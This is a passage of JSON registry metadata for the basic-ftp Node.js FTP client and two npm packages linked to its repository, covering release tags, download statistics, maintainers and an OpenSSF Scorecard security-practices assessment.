tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0/manifests"},{"name":"v2.4.2","sha":"1fb6d04bc34a85be555ec55d1ba6c31fa45d1051","kind":"commit","published_at":"2018-01-20T12:39:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"6322a864584c95b62687b23cd37e57905663ca6c","kind":"commit","published_at":"2018-01-20T11:47:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"306418be304fdeac9cf9b0ec52fef67458da793f","kind":"tag","published_at":"2018-01-15T21:32:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0/manifests"},{"name":"v2.3.3","sha":"070324be160af7f7e1408823eaa61c95b34fef0a","kind":"tag","published_at":"2018-01-14T17:55:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"f378b1b47dca0dd6aad8b98fa059994c74899039","kind":"tag","published_at":"2018-01-14T15:45:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"f31e1b396304968faca207b259399663e54a2134","kind":"tag","published_at":"2018-01-14T08:49:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"0b94f445c32fab5741621e5f25be0b4e2d0c3852","kind":"tag","published_at":"2018-01-13T21:04:02.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"bcbe53c1c4bfe7a0bdddb053bd236853f1f27dbe","kind":"tag","published_at":"2018-01-13T20:38:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"3d7a0690205e78c7792724f013ef3910e0ef77aa","kind":"tag","published_at":"2018-01-13T17:30:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"c4a3c00eec9753fb4fa684967fda7c76c43e1f7d","kind":"tag","published_at":"2018-01-12T19:14:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"0392e12a52d3ab2cacca643b582b1f2b898b0836","kind":"tag","published_at":"2018-01-10T12:37:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0/manifests"},{"name":"v1.2.0","sha":"e55c94c461a5ab0c0740221458222e8773faa908","kind":"tag","published_at":"2018-01-07T08:22:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"a354d92fc576e4e98c61fa319e3f879b3991b0ae","kind":"tag","published_at":"2018-01-06T18:03:14.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"3d663e02aaf7169eb6fe07dd7250ef0dfd9d6280","kind":"tag","published_at":"2018-01-06T17:07:58.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"2d35713910994baaabcf78dcc805cd8996dd3bbd","kind":"tag","published_at":"2018-01-04T21:00:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.9","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"e3ff76ad996a48291e96212c301554a8a72cf190","kind":"tag","published_at":"2018-01-04T17:03:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.8","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"cdbca2c538820c15fdadac8be6aea8931fd891ea","kind":"tag","published_at":"2018-01-04T06:34:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.7","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7/manifests"},{"name":"1.0.6","sha":"fad9e33b2fb8b6e8adf241136449acb71b09a724","kind":"tag","published_at":"2018-01-03T11:50:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/1.0.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6/manifests"},{"name":"v1.0.5","sha":"4789d0bbb9c69495ae575a5b2b01ddaf0c1cd80a","kind":"tag","published_at":"2018-01-02T14:36:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"749d64f17b5afcbcec024c980c23709165a24d03","kind":"tag","published_at":"2017-12-31T17:18:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"964b3ece50267c599c3169b0f9c57f8796149b57","kind":"tag","published_at":"2017-12-31T17:18:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"ab8d752c781aedfee1b681bb8344a2789c265bf2","kind":"tag","published_at":"2017-12-30T23:15:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2/manifests"}]},"repo_metadata_updated_at":"2026-08-22T15:55:02.530Z","dependent_packages_count":1,"downloads":29,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":55.37619663749701,"dependent_repos_count":10.303930935826395,"dependent_packages_count":20.919690699359002,"stargazers_count":2.8504949628861955,"forks_count":3.3219386481734383,"docker_downloads_count":null,"average":18.55445037674841},"purl":"pkg:npm/basic-ftp-test","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/basic-ftp-test","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/basic-ftp-test","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/basic-ftp-test/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-22T11:05:04.451Z","issues_count":125,"pull_requests_count":35,"avg_time_to_close_issue":10598646.875,"avg_time_to_close_pull_request":13587561.0,"issues_closed_count":112,"pull_requests_closed_count":30,"pull_request_authors_count":18,"issue_authors_count":108,"avg_comments_per_issue":2.872,"avg_comments_per_pull_request":1.5142857142857142,"merged_pull_requests_count":11,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":4,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":654818.0,"past_year_avg_time_to_close_pull_request":1455858.4545454546,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.2727272727272727,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":9,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/issues","maintainers":[{"login":"patrickjuchli","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}],"active_maintainers":[{"login":"patrickjuchli","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-test/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-test/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-test/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-test/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-test/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/basic-ftp-test/codemeta","maintainers":[{"uuid":"anisdhiyaeddine","login":"anisdhiyaeddine","name":null,"email":"dhiaeboudiaf@gmail.com","url":null,"packages_count":3,"html_url":"https://www.npmjs.com/~anisdhiyaeddine","role":null,"created_at":"2022-11-11T13:50:33.199Z","updated_at":"2022-11-11T13:50:33.199Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/anisdhiyaeddine/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5777787,"maintainers_count":1236486,"namespaces_count":421466,"keywords_count":881826,"github":"npm","metadata":{"funded_packages_count":189888,"rate_limit":2},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-08-24T05:03:24.460Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1461651,"name":"basic-ftp-ext","ecosystem":"npm","description":"FTP client for Node.js with support for explicit FTPS over TLS.","homepage":"https://github.com/patrickjuchli/basic-ftp#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/patrickjuchli/basic-ftp","keywords_array":["ftp","ftps","promise","async","await"],"namespace":null,"versions_count":1,"first_release_published_at":"2019-08-13T04:21:20.992Z","latest_release_published_at":"2019-08-13T04:21:20.992Z","latest_release_number":"2.9.2","last_synced_at":"2026-08-23T11:38:50.719Z","created_at":"2022-04-09T02:02:02.411Z","updated_at":"2026-08-23T11:38:50.719Z","registry_url":"https://www.npmjs.com/package/basic-ftp-ext","install_command":"npm install basic-ftp-ext","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"2.9.2"},"contentPolicy":null},"repo_metadata":{"id":41537176,"uuid":"115804484","full_name":"patrickjuchli/basic-ftp","owner":"patrickjuchli","description":"FTP client for Node.js, supports FTPS over TLS, passive mode over IPv6, async/await, and Typescript.","archived":false,"fork":false,"pushed_at":"2026-08-11T17:49:17.000Z","size":1348,"stargazers_count":734,"open_issues_count":11,"forks_count":101,"subscribers_count":8,"default_branch":"master","last_synced_at":"2026-08-20T08:24:54.025Z","etag":null,"topics":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjuchli.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE.txt","maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2017-12-30T15:11:28.000Z","updated_at":"2026-08-16T22:03:13.000Z","dependencies_parsed_at":"2026-08-06T02:35:37.973Z","dependency_job_id":null,"html_url":"https://github.com/patrickjuchli/basic-ftp","commit_stats":{"total_commits":851,"total_committers":17,"mean_commits":50.05882352941177,"dds":"0.025851938895417148","last_synced_commit":"6deecaf9f3aa0312c92ee96389c405b79311e862"},"previous_names":[],"tags_count":117,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjuchli/basic-ftp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/sbom","scorecard":{"id":722332,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickjuchli/basic-ftp","commit":"22e4bf0529352d2b439bf0d694dcf2db6ac8f661"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.4,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":4,"reason":"6 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed 